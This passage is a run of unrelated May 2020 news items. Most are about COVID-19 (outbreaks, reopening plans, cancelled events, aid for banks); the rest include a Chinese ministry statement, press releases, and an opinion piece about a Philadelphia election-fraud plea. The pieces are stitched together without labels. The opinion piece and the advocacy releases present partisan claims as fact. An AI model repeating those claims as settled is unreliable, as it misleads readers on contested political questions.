Caherciveen, explaining why none of the residents could have contracted the virus in Dublin prior to arrival in Kerry.

THE FACTS: The first display of symptoms was on March 21, three days after arrival. The department was informed of this on March 24. The first symptoms that resulted in a positive diagnosis for the virus was on March 29, 11 days after the asylum seekers arrived.
File image: Madhya Pradesh CM Shivraj Singh Chouhan

Advising Congress leader Priyanka Gandhi Vadra and West Bengal Chief Minister Mamata Banerjee to shun political drama over COVID-19, Madhya Pradesh CM Shivraj Singh Chouhan said on Friday they should instead become part of 'team India' to fight the pandemic as an united force.

"These people (opposition leaders) have to only put blame on the Centre for anything. They indulge in theatrics ('unhe sirf natak karna hai'). There should not be any political drama at least during coronavirus pandemic-like situations, he told PTI in an interview.

Chouhan hit out at Congress general secretary Priyanka Gandhi Vadra, accusing her of "doing drama" by offering buses to the Uttar Pradesh administration for ferrying the migrants.

The Congress and the Uttar Pradesh were locked in a political battle after Priyanka Gandhi Vadra told the state's Chief Minister Yogi Adityanath that her party had made available 1,000 buses to ferry migrants to their homes. The UP government has claimed that a list of 1,000 buses had registration numbers of autorickshaws, cars and trucks.

Chouhan said the Chief Minister of West Bengal has reportedly raised questions on issuance of various advisories by the Centre.

COVID-19 Vaccine Frequently Asked Questions View more How does a vaccine work? A vaccine works by mimicking a natural infection. A vaccine not only induces immune response to protect people from any future COVID-19 infection, but also helps quickly build herd immunity to put an end to the pandemic. Herd immunity occurs when a sufficient percentage of a population becomes immune to a disease, making the spread of disease from person to person unlikely. The good news is that SARS-CoV-2 virus has been fairly stable, which increases the viability of a vaccine. How many types of vaccines are there? There are broadly four types of vaccine  one, a vaccine based on the whole virus (this could be either inactivated, or an attenuated [weakened] virus vaccine); two, a non-replicating viral vector vaccine that uses a benign virus as vector that carries the antigen of SARS-CoV; three, nucleic-acid vaccines that have genetic material like DNA and RNA of antigens like spike protein given to a person, helping human cells decode genetic material and produce the vaccine; and four, protein subunit vaccine wherein the recombinant proteins of SARS-COV-2 along with an adjuvant (booster) is given as a vaccine. What does it take to develop a vaccine of this kind? Vaccine development is a long, complex process. Unlike drugs that are given to people with a diseased, vaccines are given to healthy people and also vulnerable sections such as children, pregnant women and the elderly. So rigorous tests are compulsory. History says that the fastest time it took to develop a vaccine is five years, but it usually takes double or sometimes triple that time. View more Show

"The Centre has been issuing advisories to ensure safety and security of the people of this country. Advisories have come to my state as well. But they (Banerjee and Priyanka) only want to do 'natak' (drama)," he said.

Mamata Banerjee has accused the Centre of playing politics and dubbed the exercise of national lockdown "poorly" planned.

"If we want to save the people of this country from this coronavirus pandemic, then the Centre has to issue advisories or send teams to assess the situation or take other measures. All should welcome it," Chouhan said.

He said chief ministers of all the states should be united and be part of "team India" to fight the pandemic.

"Team India is not only the cabinet of Prime Minister Narendra Modi. All the chief ministers, irrespective of the state and political party they belong to, are part of team India. They (opposition leaders and CMs) should consider themselves as part of team India and fight coronavirus," Chouhan said.

He said, Prime Minister Modi has always respected the federal structure of the country "but this creates problem to opposition leaders".

Chouhan said there has never been a prime minister in this country who has spoken not once but five times with the chief ministers of the states over the crisis posed by the virus.

"Other than this, whenever we call the prime minister over phone, he is available to us. Have you seen a prime minister like this? Not only me, whosoever chief minister has called him, he has always promptly responded to all such calls. He always talks to us, discusses things and gives us suggestions," Chouhan said.
HADDAM  Its been a tough year for large gatherings, all of which are being canceled due to the coronavirus pandemic.

The 109th Haddam Neck Fair, held over Labor Day weekend since 1909, is the latest agricultural festival halted this year over safety concerns. Board members made the decision this week, and president Mike Stevens posted a letter on the event Facebook page Wednesday night.

He said several factors led to the decision to forego this years fair. Safety was of the utmost importance for everyone: volunteers, fairgoers, exhibitors, entertainers, vendors, board members and the community in general, he said.

You cant always guarantee that fairgoers arent going to catch something, but with this, we didnt have a clear answer as to what was going to go on, said fair director Angie Tegge.

The best-case scenario would have been to wait another month before making the final decision, but considering the massive time, effort and expense that go into putting on an event of this size, the board thought it better to plan for the 2021 celebration.

We start planning the fair the day after the last one ends. To put people on a holding list, saying we want you to be there, and then, just before, say were not doing it wouldnt have been fair to vendors or entertainers either, Tegge said.

Its more important to not have to worry about getting sick, wearing a mask and staying six feet apart, she said.

Monetary and logistics were also matters of discussion.

We also want to ensure the fair is financially secure so it can continue to be held for years to come, Stevens said. While our board of directors had kept a positive attitude and were taking a wait and see approach, we felt that a decision needed to be made and that the responsible decision is to cancel.

The last time the fair was canceled was during World War II.

The annual road race began as a 3-mile course in 1986. Race director Margaret McCutcheon Faber took over leadership in 1999.

She has been going to the fair since she was a contestant in the annual beautiful baby competition in 1968. I never miss a fair. I love it, said the runner.

All races have been canceled amid the pandemic, as well as others through fall.

It is a strong and healthy community. People out running now have nothing to train for, so it probably makes everyone feel a little sad and despondent, Faber said. I know theyre still running for their health and sanity, but its nice to have a few events throughout the year to look forward to and train for.

She hadnt yet ordered T-shirts or medals as she waited for a final decision. Fortunately, Faber said, the timing company issued her a refund.

Most nearby events, such as East Hamptons Old Home Days celebration and Memorial Day Parade, also arent taking place this year due to the coronavirus.

Our little community doesnt really have much to look forward to in terms of events this year. It makes us feel a little bit separate from one another. It is a loss, Faber said.

No one knows what races will look like in the near future, as the state begins rolling out a series of phases in the reopening process.

I honestly couldnt imagine starting the race one at a time, keeping social distancing at the start. People want to get a good time, they want to vie for the front. Once they get through the start line one at a time, theyre all going to be huddled together, Faber said.

I dont think we could have enforced it. It could have been a dangerous situation in terms of transmission of the disease. Im kind of relieved, she added.

This is not the first pandemic that Haddam Neck Fair has faced. In 1916, polio broke out in New York City and spread throughout the Northeast. By mid-summer, it had reached Haddam Neck and surrounding communities, Stevens said.

The 2021 event is set for Sept. 3 to 6. For information, visit haddamneckfair.com or Haddam Neck Fair on Facebook.
Source: Xinhua| 2020-05-22 23:40:31|Editor: huaxia

Video Player Close

BEIJING, May 22 (Xinhua) -- China on Friday urged the United States to abandon its Cold War mentality and ideological bias, and view China and China-U.S. relations in an objective and rational way.

The United States must immediately stop interfering in China's internal affairs, harming China's interests or undermining China-U.S. relations, said Foreign Ministry spokesperson Zhao Lijian.

Zhao made the remarks at a routine news briefing in response to a new China Strategy report by the Trump Administration, which was delivered to the U.S. Congress recently.

"The new strategy report is the same as the U.S. national security strategy report released in 2017," Zhao said, noting it deliberately distorts China's political system and strategic intention, and hypes up the so-called "China threat," as an excuse to trumpet the continuation of all-dimensional hardline policy against China.

In response to the United States' erroneous words and deeds to interfere in China's internal affairs and undermine China's interests in the past two years, the Chinese government has repeatedly stated its solemn position and made firm, strong response, Zhao said.

He emphasized that under the strong leadership of the Communist Party of China (CPC), the Chinese people have embarked on a development path suitable to China's national conditions, made great achievements and contributed positively to world peace, stability and development.

"We will unswervingly continue to advance along the path of socialism with Chinese characteristics and continue to achieve greater victories. No one can stop China's development and growth," said Zhao.

"China's policy toward the United States is consistent and clear. We are committed to developing a Sino-U.S. relationship featuring non-conflict, non-confrontation, mutual respect and win-win cooperation," Zhao said. "At the same time, we will firmly defend China's sovereignty, security and development interests."

A stable and continuously developing Sino-U.S. relationship is in the fundamental interests of the two peoples and is also generally expected by the international community, Zhao said.

He urged the United States to follow the trend of the times and work with China to bring bilateral relations back to the right track. Enditem
New Delhi, May 22 : Union Finance Minister Nirmala Sitharaman on Friday met with heads of public sector banks (PSB) through videoconference for the operationalisation of the economic package under the 'Atmanirbhar Bharat' initiative.

In a tweet, the Department of Financial Services (DFS) said that everyone attending the conference was aligned on the need to quickly address the needs of MSMEs and other customers.

"To operationalise the announcements made by FM @nsitharaman under #AatmanirbharBharat, review meeting through videoconference was held with all PSBs. Everyone aligned on the need for quickly addressing the needs of MSMEs and other customers. Operational details to be released soon," it said.

Sitharaman also reviewed the readiness of banks in implementing the relief package, which includes several liquidity measures, a Rs 3 lakh crore Emergency Credit Line Guarantee Scheme (ECLGS) for MSMEs and MUDRA borrowers.

Under the scheme, 100 per cent guarantee coverage would be provided by National Credit Guarantee Trustee Company Limited (NCGTC) for the additional funding of up to Rs 3 lakh crore in the form of a ECLGS facility.

Further, the centre has also modified the existing partial credit guarantee scheme for NBFCs wherein the scheme will be extended to bonds or commercial papers (CPs) issued by NBFCs, housing finance companies, and micro finance companies. The Centre would provide sovereign portfolio guarantee of up to 20 per cent of first loss for purchase of bonds or commercial papers (CPs) issued by the financial institutions under the scheme.

Also, the Ministry of Finance under the scheme will launch a new Special Liquidity Scheme for Non-Banking Financial Companies (NBFCs) and Housing Finance Companies (HFCs) worth Rs 30,000 crore to improve liquidity position of these companies.

For such initiative, the preparedness of the banks is necessary as the schemes and liquidity measures will be routed through them.

Several economists and experts have also raised concerns regarding the impact of the measures on the banks' asset quality. However, given the severe impact of the coronavirus pandemic and the lockdown on businesses and the economy, the steps have been by and large deemed necessary.
"It is great to see that pro-police supporters across the nation understand the issues these oversight boards cause and are willing to stand up to defend our officers against these political tools."

American Police Officers Alliance, a political grassroots organization based in Arlington, Virginia, received over 20,000 unique signatures on their petition against Civilian Oversight Boards in just the first quarter of 2020. American Police Officers Alliance is committed to defending strong police leadership and interests in our nations cities and work to elect officials who will stand up for our police force. One of the key issues they are focused on this year is police oversight boards, also called civilian oversight boards, accountability boards, oversight commissions, and a variety of other names.

The organization launched this petition to gather signatures of supporters all over the country that agree on the harm of police oversight boards. "There is too much opportunity for bias and politics on these oversight boards. Most of the boards that have been commissioned do not require any background in justice or law enforcement. The people that are elected to these boards could be blatantly anti-police, and there are no restrictions on letting them serve even though there is a clear conflict of interest," Executive Director Daniel Stuebs explained. "Our police officers already have a lot of red tape around doing their jobs effectively, and they are treated like political pawns by elected officials. Oversight boards, at least the way they are now, provide little to no value and only increase the difficulty officers face."

The petition is ongoing, and the organization expects even more signatures over the next few months. Mr. Stuebs stated that "It is great to see that pro-police supporters across the nation understand the issues these oversight boards cause and are willing to stand up to defend our officers against these political tools." Along with the petition, the American Police Officers Alliance has also provided a number of free resources for civilians that want to learn more about oversight boards. For more information, visit https://www.policeoversightboardfacts.com/.

To sign the petition, visit https://americanpoliceofficersalliance.com/petitions/antifa-controlling-police/

American Police Officers Alliance is a national political organization organized under Section 527 of the IRS Tax Code. Contributions made to American Police Officers Alliance are not tax-deductible. Not authorized by any candidate or candidate's committee.
RACINE  The City of Racine published its Forward Racine reopening plan on Friday morning.

The plan details how businesses in each industry present in Racine will, and wont, be able to resume business starting at 8 a.m. Tuesday.

If Racine sees a spike in cases  the coronavirus spread in the city currently ranks among the fastest rates of spread for any city in the country  the reopening plan can be backtracked, according to Mayor Cory Mason and Public Health Administrator Dottie-Kay Bowersox.

Make no mistake, Mason said, if the data shows us that we are going backwards, we will stop or back off on this reopening.

Racine Police Chief Art Howell said that those who do not follow the citys new rules will face citation and be identified publicly online for not following the order.

The plan will be re-evaluated on June 30, when more restrictions may be rolled back.

Racine is one of a handful of municipalities in Wisconsin with restrictions still in place after the Supreme Court overturned the statewide Safer at Home on May 13. Dane Countys Forward Dane plan shares many similarities with Racines plan, and also is to go into effect Tuesday.

The city is now facing two lawsuits calling for its Safer at Home to be overturned. City Attorney Scott Letteney says that Racines order is still legal, and that the Supreme Courts decision only said that how Safer at Home was enforced was illegal. Since there still is an outbreak in the City of Racine, the local public health administrator is still allowed to make such an order.

Its just insanity. Eight weeks unemployed, still no unemployment checks More than 650,000 unemployment claims are still unfulfilled. Republicans have blamed Democratic leadership for the problems. Democrats have in turn blamed past Republican money-saving decisions that left the Department of Workforce Development's infrastructure unprepared to handle the current surge.

New guidelines

Within the plan, restaurants will be able to open in-person dining with 50% seating capacity. All retail businesses will be able to reopen but must follow the Wisconsin Economic Development Corp.s general and retail guidelines.

Gyms and other indoor recreational facilities will be allowed to reopen Tuesday, but with a limit to only 10 people inside at any one time.

Personal care establishments such as hair salons or tattoo parlors will also be allowed to reopen by following WEDC guidelines.

Movie theaters and other indoor places of arts and culture will be allowed to reopen with capacity limited based on the square footage of the facility.

Zoos and farmers markets also will be able to reopen with capacity limited based on the square footage of the facility.

Private mass gatherings, such as weddings and banquets and funerals, are limited to 25 people and 6 feet of social distancing must be maintained.

Outdoor playgrounds, skate parks and splash pads will remain closed until at least June 30.

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Pandemic fallout will likely affect Thailand for at least a year: Thai Chamber of Commerce President

BANGKOK: The Thai Chamber of Commerce estimates that a prolonged COVID-19 pandemic will cause 10 million Thais to lose their jobs. Meanwhile businesses must adjust themselves to the New Normal, as the health crisis is expected to last for at least a year, reports state news agency NNT.

COVID-19Coronaviruseconomics

By National News Bureau of Thailand

Friday 22 May 2020, 09:32AM

The Thai Chamber of Commerce has joined forces with health authorities and related sectors to launch the Thai.care online platform. Photo: NNT

Thai Chamber of Commerce (TCC) Chairman Kalin Sarasin commented in a seminar yesterday that the COVID-19 pandemic will write off US$5.8-8.8 trillion from the global economy, according to an estimation from the Asian Development Bank. The global health crisis is expected to cause the global GDP to shrink 6.4-9.7%. Some 7 million people in Thailand are expected to lose their jobs due to the pandemic. The number may increase to 10 million should the situation become prolonged, while the pandemic fallout will likely affect Thailand for at least a year, he said. The TCC chairman said businesses must change their operations in line with the New Normal lifestyle, by upgrading their services, quality, differentiation, and safety. The Thai Chamber of Commerce has joined forces with health authorities and related sectors to develop the Thai.care online platform, to create understanding between businesses and customers, promoting care by both businesses and customers through feedback to improve products and services, as well as promoting social responsibility. The Thailand Development Research Institute (TDRI) President Somkiat Tangkitvanich said yesterday that all sectors must adjust themselves to the new normal, especially allowing employees to work from home, which will help promote social distancing, and can help organisations save B2 million a month. The TDRI is however expecting COVID-19 fallout to last three years in Thailand, before the economy returns to the normal status that existed before the pandemic.
Now that Democrats are pushing universal mail-in ballots, making vote fraud easier than ever before, we are repeatedly hearing the false claim that "there is no evidence of widespread vote fraud" from Democrats. Just yesterday, I heard Democrat activist and Fox News contributor Chris Hahn make that claim in a segment discussing mail-in voting. Stacey Abrams, who delusionally claims to be governor of Georgia because of "vote suppression," says vote fraud is largely a "myth."

It's baloney.



Election fraud has a long history. Cartoon by Thomas Nast.

On the same day that Hahn was making his claim, U.S. attorney William McSwain held a press conference to announce that his office had obtained a guilty plea from a judge of elections in Philadelphia, who admitted accepting bribes to add votes to the totals of those who bribed him (all Democrats, as these were primary elections, and Republicans don't win elections in Philly), through the intermediation of a "consultant" they hired to pay the actual bribes. Neither the consultant(s) nor the clients who obtained election via the fraudulent schemes were named, suggesting that further indictments or guilty pleas may be forthcoming.

Alarmingly, the elections that were fixed were for "judicial office," which seems to mean judges. If no further prosecutions are announced, then Philadelphians will have to realize that they are being handled by corrupt courts.

Video of the press conference is embedded below. In it we hear key details, as McSwain explained the scheme:

A political consultant gave DeMuro directions and paid him money to illegally add votes for certain Democratic candidates on the primary ballots in 2014, 2015, and 2016. These candidates were individuals running for judicial office whose campaigns had hired the consultant, as well as other candidates for various federal, state, and local elective offices who were preferred by this consultant for a variety of reasons.

The raw numbers of votes involved were small, but because so few people vote in judicial elections, they could swing the elections:

DeMuro's fraudulent votes accounted for over 22% of the total voting in that Division in 2014. In 2015, his fraud accounted for over 15% of the votes in the Division; in 2016, his fraud accounted for over 17% of the votes.

The mechanism of fraud was particularly blatant:

After receiving payments ranging from between $300 to $5,000 per election from the consultant, DeMuro would add fraudulent votes on the voting machine  also known as "ringing up" votes  for the consultant's clients and preferred candidates, thereby diluting and distorting the ballots cast by actual voters. DeMuro would add these fraudulent votes to the totals during Election Day, and then would later falsely certify that the voting machine results were accurate. He would add the fraudulent votes by literally standing in the voting booth and voting over and over, as fast as he could, when he thought the coast was clear.

The specific crimes charged were somewhat technical:

DeMuro has been charged with two counts: first, for conspiring to deprive Philadelphia voters of their civil rights by fraudulently stuffing the ballot boxes for specific Democratic candidates in the 2014, 2015, and 2016 primary elections; and second, for a violation of the Travel Act, which forbids the use of any facility in interstate commerce (here, a cell phone) with the intent to promote certain illegal activity (here, bribery). DeMuro has pled guilty to both of these charges.

I eagerly await identification of the elected "judicial officials" who bribed their way into office.

Here is the press conference:

Hat tip: The Conservative Treehouse.
A Rhea County physician said COVID-19 numbers in the rural county have jumped drastically due to an outbreak among migrant workers on a farm. The numbers went from 13 to 188.

Dr. Craig Swafford said on the Facebook page of Rhea Herald News that the workers have been isolated.

He also said a physician at Life Care Center in Rhea County had come down with the virus.

Earlier, Rhea County Executive George Thacker advised citizens to expect a spike in numbers from 13 to around 180.

Dr. Swafford said, "Just some facts to help with some of the fear that people are experiencing. Yes there is a significant jump in the numbers in Rhea County. A large number of migrant workers have tested positive for the virus. We have communicated as the local hospital and the county government with this particular farm and have been assured that these folks have been isolated and will remain so.

"We are working to try and make sure that they have everything they need and will not be exposing other folks in our community. There has been at least one confirmed case at Lazyboy and that person is recovering after spending two days in ICU and appears much better. Contact tracing has been done within the factory and additional testing has been recommended steps have been taken to clean the workspace and minimize any additional exposure there and additional testing has been offered.

"Anyone at high risk of exposure will not be allowed to work for at least 14 days and your local health care professionals have recommended those people have a negative test before they are allowed to return to work.

"There has been one confirmed case in a physician working at Life Care Center in Rhea County. This physician was wearing personal protective equipment. Anyone that was exposed to the physician has been identified and additional testing has been recommended for residents and employees that came in contact with the physician. The physician is now quarantined and will not return to work for an extended period of time. It has also been recommended by local physicians that the physician be tested and have a negative test before they are allowed to resume their duties.

"It has been the experience of the medical staff at Rhea Medical Center that some people that have been infected have taken over three weeks to post a negative test afterwards. This means that they are potentially contagious for longer than CDC guidelines or Tennessee Department of health recommends. Therefore, your local physicians and hospital recommends repeat testing for everyone that test positive before they resume contact with the general population. These recommendations made by your local healthcare providers hospital and county government cannot be enforced as law so there will be a lot of individual responsibility that has to take place.

"The Tennessee Department of health views contact tracing and enforcement of quarantine as their sole responsibility and will not allow local officials to participate unless we were directly involved with your diagnosis or treatment. Therefore, I recommend testing at our local hospital or your local physicians office instead of the department of health that way your local officials can have insight to the number of people affected. We can help ensure your access to repeat testing for safe resumption of work and contact with the general population and any medical needs during your convalescence.

"While this is a potentially serious disease and obviously is highly contagious it does not pose a significant risk of death to most of those who contract it. In fact, it appears that the majority are asymptomatic. That does not mean that we should take it lightly. Steps like social isolation for high risk folks and social distancing and wearing a mask for everyone else can have some small impact but a much more important step is a liberal testing model that identifies people early and a successful quarantine to isolate them that have the disease from those that dont and ensuring that they are safe to return to society.

"Everyone please continue to live your lives be thoughtful and respectful of your neighbors. Observe the data and try to stick to the facts your local healthcare providers are there to answer your questions and treat you if necessary. Now is not the time for panic but rational thought and recommendations."
Oregonians can no longer pump their own gas at stations where self-service was not allowed before the coronavirus pandemic as of Sunday, the state fire marshals office announced Thursday.

The ban on self-service was temporarily lifted in March, allowing gas stations to voluntarily open up self-service to customers. The measure was meant to address potential worker shortages and reduce contact between customers and employees to limit the spread of the coronavirus.

We want to thank Oregonians and the many Oregon businesses who provide gasoline for their patience as we allowed for voluntary self-service at Oregon gas stations where that service had not been available before, State Fire Marshal Jim Walker said in a written statement.

State law allows customers in some coastal, eastern and central Oregon counties to pump their own gas, and that will not change.

Coronavirus in Oregon: Latest news | Live map tracker |Text alerts | Newsletter

A lobbying group for gas stations, the Oregon Fuels Association, released a statement Thursday thanking Gov. Kate Brown and the state fire marshals office for their assistance in allowing the temporary expansion of self-service fuel pumps in Oregon.

Allowing fuel attendants to turn their focus to keeping equipment and payment mechanisms sanitized has helped keep people safe and stations across the state open, Danelle Romain, a lobbyist for the Oregon Fuels Association, said in a written statement.

Subscribe to our free Oregon coronavirus newsletter:

Email:



-- K. Rambo

krambo@oregonian.com

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The National Investigating Agency (NIA), which has been probing the Elgar Parishad case since January, has opposed the plea for interim bail filed by the accused activists Dr Shoma Sen, Vara Vara Rao, and Sudha Bhardwaj.

The three accused have moved the special court separately for interim bail on the ground of the spread of coronavirus disease (Covid-19) cases in prison, and have expressed concerns about contracting SARS-CoV-2, which causes the disease.

NIA opposed the bail plea on the ground that the accused are booked under the Unlawful Activities (Prevention) Act, which makes them ineligible for temporary bail. The next hearing will be held on May 28. The special court has also extended the judicial custody Dr. Anand Teltumbde, another accused in the case, until June 5. The prison authorities have also failed to submit Dr. Teltumbdes medical report, despite several reminders.

Earlier, on January 1, 2018, violence erupted between Dalits and Marathas near the village of Bhima Koregaon in Pune district, where thousands of Dalits had gathered to mark the 200th anniversary of the Battle of Koregaon. In that battle, the British Armys Dalit Mahar soldiers had defeated the Brahmin Peshwa rulers of the Maratha empire.

The commemoration took place a day after an event in Pune called the Elgar Parishad was held. The Pune Police conducted a preliminary probe and claimed that the violence in Bhima Koregaon was the result of speeches made at the Elgar Parishad event. They alleged that banned Maoist groups organised the event, and a first information report (FIR) was also filed.

In June 2018, the Pune Police arrested five activists and lawyers from Pune, Nagpur, and Delhi for their alleged links to the banned Communist Party of India (Maoist), and also for organising the Elgar Parishad event. In August 2018, the police arrested five more activists --- Sudha Bharadwaj, Arun Ferreira, Vernon Gonsalves, Varavara Rao, and Gautam Navlakha. Dr. Teltumbde had managed to relief from arrest.

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HARRISBURG, Pa., May 22, 2020 /PRNewswire/ -- AARP Pennsylvania is reminding voters that due to the coronavirus pandemic, Pennsylvania's 2020 primary election was rescheduled to June 2.

"As the country and our state deals with the uncertainty of COVID-19, many things have changed, but not our right to vote," said AARP Pennsylvania State Director Bill Johnston-Walsh. "AARP fought to delay this year's primary election so voters have more time to cast ballots safely."

He added that the 2020 primary election marks the first time Pennsylvania residents can apply to vote by mail-in ballot. When the Governor signed Act 77 of 2019 into law, it provided for more convenient, secure voting, and allowed more time for Pennsylvanians to register to vote and return their absentee or mail-in ballot. In the midst of COVID-19, to date, more than one million residents statewide have applied to cast ballots from home in this year's primary election.

While the easiest way to apply for a mail-in ballot is online at votespa.com, applications can also be submitted to county election offices. Either way, voters need to act fastmail-in ballot applications are required to be submitted by May 26. Completed ballots must be returned to the county election office by 8 p.m. on June 2.

Johnston-Walsh added that voters can also still cast ballots in-person as polls will be open statewide. To help ensure the health of both poll workers and the members of the public who go to a polling location, local election officials are receiving special infection-protection kits in order to maintain a safe environment. Voters are also reminded that some voting locations may have changed due to the pandemic, so they are encouraged to double-check their polling place before heading out to vote. Contact your local county election office or votespa.com to confirm voting locations for this election.

Johnston-Walsh added no matter how they choose to cast ballots, voters age 50 and older are expected once again to be a deciding factor in the election. National exit polls from the 2018 midterms showed 50-plus voters comprised 57% of Pennsylvania's total electorate.

"Despite the many disruptions and adjustments the coronavirus has brought to our lives, at the end of the day, our primary election will take place during a public health crisis," said Johnston-Walsh. "It's important that we provide our 1.8 million members and the 50+ population, the information needed so they can exercise their right to vote. Whether they choose to vote by mail or head to the polls, the voices of Pennsylvania's most powerful voting group will heard on June 2."

Voters with questions related to Pennsylvania's June 2 primary election can call the Department of State's voting-hotline at 1-877-VOTES-PA or visit votespa.com.

CONTACT: Steve Gardner, AARP PA

(717) 319-5484 or [email protected]

Or

Jacklyn Isasi, AARP PA

(609) 902-6242 or [email protected]

SOURCE AARP Pennsylvania

Related Links

http://www.aarp.org


A new sentencing date has been scheduled for Jeremy Christian.

Christian, 37, was scheduled to be sentenced in late March for the fatal stabbings of two men and the serious wounding of a third man on a MAX train in 2017. But Multnomah County Circuit Judge Cheryl A. Albrecht postponed the sentencing because of coronavirus outbreak.

A sentencing hearing is now scheduled for the morning of June 18, court records show. Its a tentative date, according to KATU-TV, which first reported about the hearing.

Jurors this winter found Christian guilty of 12 crimes, including first-degree murder for the deaths of Taliesin Namkai-Meche and Ricky Best, attempted first-degree murder for the serious wounding of Micah Fletcher, and hate crimes against two teenage girls, one who was wearing a hijab.

Christian could be sentenced to spend the rest of his life in prison with no possibility of release, known as true life. Or he could be sentenced to life in prison with a 30-year minimum. Oregons new first-degree murder law, passed as Senate Bill 1013 last summer, gives the judge both options.

Christians defense attorneys, however, are arguing that the new law, is unconstitutional and as a result leaves the judge with only the second option  sentencing Christian to life with a 30-year minimum.

Christian stabbed the men on a Green Line train as it pulled into Northeast Portlands Hollywood Transit Center on the eve of Memorial Day weekend in 2017.

-- Jim Ryan; jryan@oregonian.com; 503-221-8005; @Jimryan015

Maxine Bernstein contributed to this report.

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Toronto, Ontario--(Newsfile Corp. - May 22, 2020) - Tree of Knowledge International Corp. (CSE: TOKI) (the "Company" or "TOKI") is pleased to announce the completion of an order of 23,000 thermometers to a healthcare distributor in Chicago, IL, facilitated by TOKI management. This order marks the Company's first medical equipment supply transaction into the United States.

Michael Caridi, the Company's chairman, states, "TOKI is proud to be on the forefront of this fight against COVID-19. We will continue to leverage our network to provide the US and Canada the critical PPE supply necessary during these trying times."

The Company's US division, Tree of Knowledge, Inc., has made a pivot during these uncertain times to leverage its medical contacts and international relationships to procure medical equipment and personal protective equipment (PPE) to governments, municipalities, and healthcare distributors in Canada and the US. Tree of Knowledge understands the difficulty in supplying medical equipment and is hopeful this successful US transaction offers the Company the ability and trust to supply many more municipalities, governments, and healthcare distributors in the US and Canada.

Notwithstanding the Company's recent PPE transactions, the US division continues to concurrently build the Company's ongoing CBD products business.

The Company is also pleased to announce its intention to commence a normal course issuer bid ("NCIB"), under which the Company may purchase up to 12,535,300 of the Company's common shares, representing approximately 5% of its issued and outstanding common shares. The Company is commencing the NCIB because it believes that, from time to time, the market price of its Shares may not fully reflect the underlying value of the Company's business and future prospects. TOKI believes that, at such times, the repurchase of its Shares for cancellation represents an appropriate use of the Company's financial resources and will enhance shareholder value.

The Company intends to appoint Leede Jones Gable Inc. as its broker to conduct the NCIB on its behalf. The NCIB is expected to commence on May 25, 2020 and terminate on May 25, 2021, or an earlier date in the event that the number of Shares sought in the NCIB has been repurchased or if the Company feels that it is appropriate. All Shares purchased under the NCIB will be purchased on the open market through the facilities of the Canadian Securities Exchange. All purchases made under the NCIB will be at the prevailing CSE market price for the Shares at the time of purchase. Shares acquired by the Company under the NCIB are being purchased for cancellation.

For further information please visit: www.tokicorp.com

Or contact: Tree of Knowledge International Corp. Public relations: Ashley Villarruel (647) 607-9044) ashley@tokicorp.com

About Tree of Knowledge

TOKI is a public company that delivers pathways to innovative, science-based health and wellness solutions. The Company is a leader in pain management, spanning from seed to patient. Built upon an extensive network of scientific and medical research, TOK is an advanced leader in the development, processing, and distribution of focused products and treatments for pain relief. Tree of Knowledge spans the globe with its multidisciplinary pain clinics, research partners, consumer CBD products, and education and advocacy programs - all working in harmony to bring health and wellness to the world, while creating value for shareholders and partners.

Forward-Looking Statements

Except for statements of historical fact relating to the Company, certain information contained herein relating to the timing of the filing of financial statements constitutes forward-looking statements. Although we believe that the expectations reflected in the forward-looking information are reasonable, there can be no assurance that such expectations will prove to be correct. We cannot guarantee future results, performance, or achievements. Consequently, there is no representation that the actual results achieved will be the same, in whole or in part, as those set out in the forward-looking information.

Forward-looking statements are based on the opinions and estimates of management at the date the statements are made, and are subject to a variety of risks and uncertainties and other factors that could cause actual events or results to differ materially from those projected in the forward-looking statements. The forward-looking information contained in this news release is expressly qualified by this cautionary statement. Except as required by applicable securities laws, the Company undertakes no obligation to update forward-looking statements if circumstances or management's estimates or opinions should change. The reader is cautioned not to place undue reliance on forward-looking statements.

To view the source version of this press release, please visit https://www.newsfilecorp.com/release/56369
HUNTINGTON BEACH, Calif.SexToyDistributing.com has launched a new drop shipping program, STD Direct, a premium service designed to provide better shipping options and faster delivery at lower prices.

The effort targets adult businesses transitioning into digital sales by equipping e-commerce sites with a wide array of in-demand products at competitive prices easily ordered and delivered with just a few clicks.

As part of the roll out, adult stores that submit 200 or more orders per month will be encouraged to take advantage of the drop ship program to save money and streamline their business. With a wide variety of shipping optionsincluding UPS, Fedex, USPS, DHL and regional carriersadult retailers can save big on shipping costs while getting exclusive access to discounted rates.

STD Direct also gives customers access to technology designed to save time and reduce errorsincluding payment method retention, an API tool for automation of order submission and tracking, and an XML feed featuring images and item descriptions. STD Direct also is outfitted to automatically upload new products and updated inventory to import orders directly from the customers website.

STD Direct is a game changer for retailers and were happy to have another tech-centric way to support adult stores across the country, said Brenda Reynoso, SexToyDistributing.com wholesale supervisor. "Resellers who ship less than 200 packages can still register for a SexToyDistributing.com account. Users can simply log in to our website and choose the products they need to order, enter the shoppers address in the ship to field, and submit the order. We take care of the rest!

She added: During these uncertain times, we encourage all retailers to make SexToyDistributing.com a part of their portfolio of drop shippers to help protect themselves against stock outages and other operational issues that are detrimental to their business."

Interested retailers may register for an account, after which SexToyDistributing.com will review for approval. If approved, their account will be established and an API Key will be installed on their site.

SexToyDistributing.com wholesale customers get a VIP rate of 25 percent off wholesale pricing and up to 70 percent off shipping rates. SexToyDistributing.com members receive exclusive access to the online distributors competitive discounts, free drop shipping, and its 5,000-product-strong warehouse.

To learn more about STD Direct, please contact your STD representative or email [email protected].

For more information about SexToyDistributing.com, visit SexToyDistributing.com.
Gov. Ralph Northam is weighing the details of a statewide order requiring people to wear face masks to contain the spread of COVID-19, with an announcement planned for Tuesday.

Face coverings are an important part of the next steps. Well have more on that next week, Northam said Friday, adding that his homework for Virginians is to procure face coverings for themselves and their families over the weekend.

The details of the policy remain unresolved, but Northam said he was looking at a requirement especially for individuals going into businesses.

Were trying to work through some of the details, Northam added. Its an equity issue. We want to make sure everyone has access to a mask, and we also want to talk about how we enforce that.

Richmond Mayor Levar Stoney, who previously advocated for a delay of the citys reopening, asked Northam this week to issue a mask order for the city in a bid to contain the coronavirus.

I applaud the mayor for wanting to do whats safe in our city of Richmond. We also know facial protection is one of the ways we stop the spread of this virus, Northam said.
An Amazon warehouse worker in Ohio has died from the novel coronavirus, becoming the eighth known employee to succumb to the illness.

The female worker, who had been with Amazon since November 2018, worked at the company's packing plant in North Randall, 11 miles outside of Cleveland, reported NBC News.

Spokesperson Lisa Levandowksi said the woman, who has not been identified, was last on the job on April 30, the same day she was diagnosed.

However, the company only learned of her test results on May 8, and she died on May 18.

The company has refused to release complete data on the number of employees who have been infected, died or recovered from coronavirus.

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The female employee worked in packing at an Amazon fulfillment center in North Randall, Ohio, just outside of Cleveland. She was diagnosed on April 30 and died on May 18

